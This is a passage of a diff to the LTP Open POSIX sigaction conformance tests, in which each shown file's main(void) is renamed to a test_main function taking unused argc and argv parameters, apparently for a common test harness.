a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c index e59bb745..499b60d1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-1.c index 2421a8e2..d3667626 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-1.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-10.c index fdad7cd3..d295a72e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-10.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-11.c index e3cf6a91..ef6dd4fa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-11.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-12.c index c2458191..95603558 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-12.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-13.c index 80915af3..c6b06cd8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-13.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-14.c index 59ed6c25..9d36e5d3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-14.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-15.c index 58105898..e4f6c336 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-15.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-16.c index b5e2e0bc..98e1e968 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-16.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-17.c index df8bd496..4da54a1e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-17.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-18.c index 117efcd6..e51eef52 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-18.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-19.c index 3565a97b..d77d0b2b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-19.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-2.c index 3565a97b..d77d0b2b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-2.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-20.c index eaa6da11..ff697cfc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-20.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-21.c index bc48f980..fcec4c11 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-21.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-22.c index f947ee5e..06cdadc9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-22.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-23.c index 178bfb42..fbc425a2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-23.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-24.c index 64e9d957..c73cd5d6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-24.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-25.c index 3b39e342..9251f860 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-25.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-26.c index c570d6e0..0a099f62 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-26.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-3.c index 18a15965..e6fb517c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-3.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-4.c index 9fdeca2e..5397d4a2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-4.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-5.c index 01119afc..f8c1a83a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-5.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-6.c index 54d9a458..e64acf4d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-6.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-7.c index 1122cc81..1e110bb1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-7.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-8.c index 11ad5a3d..c969cbb1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-8.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-9.c index 582dde8d..79522d21 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/2-9.c @@ -29,7 +29,7 @@ static void handler2(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/21-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/21-1.c index ec7803cb..3a1c9daf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/21-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/21-1.c @@ -18,7 +18,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Caught SIGCHLD\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure this flag is supported. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-1.c index 01b85efb..2227a0c5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-1.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-10.c index 4d8c9c09..7e56cfa9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-10.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-11.c index 1390779f..3b2d5124 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-11.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-12.c index 79d61572..ae5de7dc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-12.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-13.c index 174775e9..2d44a7e6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-13.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-14.c index ec6f8361..e199de9c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-14.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-15.c index a524f8a9..3d41debd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-15.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-16.c index 810ac688..6a7bd253 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-16.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-17.c index 38019e9a..cc5c1e49 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-17.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-18.c index 283e7cd8..6d0d2584 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-18.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-19.c index 283e7cd8..6d0d2584 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-19.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-2.c index 283e7cd8..6d0d2584 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-2.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-20.c index d465bc06..2feece0b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-20.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-21.c index 7d128cb2..ce7aa395 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-21.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-22.c index 2c0d4c24..b0bbc784 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-22.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-23.c index c13b5fa3..0e3e8376 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-23.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-24.c index 1b190613..ff4cfd48 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-24.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-25.c index 17ececc2..00ebfff7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-25.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-26.c index 709ebe16..4c642d72 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-26.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-3.c index e85f4763..8085a6c7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-3.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git 